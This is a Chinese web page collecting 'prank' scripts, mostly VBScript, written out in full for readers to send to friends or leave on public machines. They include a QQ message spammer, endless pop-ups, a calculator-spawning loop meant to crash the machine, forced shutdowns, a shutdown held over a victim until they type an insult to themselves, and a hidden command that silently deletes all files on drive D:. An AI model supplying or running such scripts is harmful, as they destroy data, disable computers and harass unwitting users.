整人代码大全
⇨⇦
操作方法
01:
【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject(＂wscript.shell＂)
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(＂与 xx 聊天中＂)
wsh.sendKeys ＂^v＂
wsh.sendKeys i
wsh.sendKeys ＂%s＂
next
wscript.quit
02:
【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox ＂You are foolish!＂
loop
03:
【代码三】
打开无数个计算器，直到死机。
set wsh=createobject(＂wscript.shell＂)
do
wsh.run ＂calc＂
loop
04:
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject(＂wscript.shell＂)
WSHshell.run ＂shutdown -f -s -t 00＂,0 ,true
05:
【代码五】
删除D:所有文件。
dim WSHshell
set WSHshell = wscript.createobject(＂wscript.shell＂)
WSHshell.run ＂cmd /c ＂＂del d:*.* / f /q /s＂＂＂,0 ,true
06:
【代码六】
不断弹出窗口
while(1)
msgbox ＂哈哈 你被耍了！＂
loop
07:
【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell = wscript.createobject(＂wscript.shell＂)
while(1)
WSHshell.SendKeys ＂%{F4}＂
loop
08:
【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox ＂哥们，给我按500次回车吧＂,64
loop
09:
【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(＂wscript.shell＂)
WSHshellA.run ＂cmd.exe /c shutdown -r -t 180 -c ＂＂说我是猪，不说我是猪就一分钟关机，不信，试下···＂＂ ＂,0 ,true
dim a
do while(a <> ＂我是猪＂)
a = inputbox (＂说我是猪,就不关机，快撒，说 ＂＂我是猪＂＂ ＂,＂说不说＂,＂＂,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,＂MsgBox＂
loop
msgbox chr(13) + chr(13) + chr(13) + ＂早说就行了嘛＂
dim WSHshell
set WSHshell = wscript.createobject(＂wscript.shell＂)
WSHshell.run ＂cmd.exe /c shutdown -a＂,0 ,true
msgbox chr(13) + chr(13) + chr(13) + ＂哈哈哈哈，好乖＂
10:
【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
<meta http-equiv=＂＂Content-Type＂＂ content=＂＂text/html;＂ charset=＂gb2312＂＂/>
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
<a href=＂＂ onMouseover=＂alert(＂为什么把鼠标放到这里?＂);
alert(＂我不是说过不可以这样吗？＂);
alert(＂你把我的话当什么了？＂);
alert(＂你知道错了吗？＂);
alert(＂什么？你居然....＂);
alert(＂居然还没意识到自己做错了？＂);
alert(＂那好，你要为此付出代价!＂);
alert(＂我要你在这里点足一千下......＂);
alert(＂什么？你开始有点后悔了？＂);
alert(＂何必呢？＂);
alert(＂你当初干什么去了？＂);
alert(＂不原谅你！＂);
alert(＂好从现在开始再点995下......＂);
alert(＂你的手开始累了吗?＂);
alert(＂什么？你已经没力气了？＂);
alert(＂你一直在求我原谅你啊！＂);
alert(＂看来你是真的知道错了!＂);
alert(＂下次你还会这么做吗？＂);
alert(＂真的不会了？＂);
alert(＂那好，今天就放你一马！＂);
alert(＂写封信给我说声对不起!＂);
alert(＂你能这么做我很高兴!!!＂);
document.bgColor=＂black＂;
document.fgColor=＂White＂;
window.location.href=＂mailto:mygod@god?subject=对不起,下次不敢了!＂;＂>不许把鼠标移到这里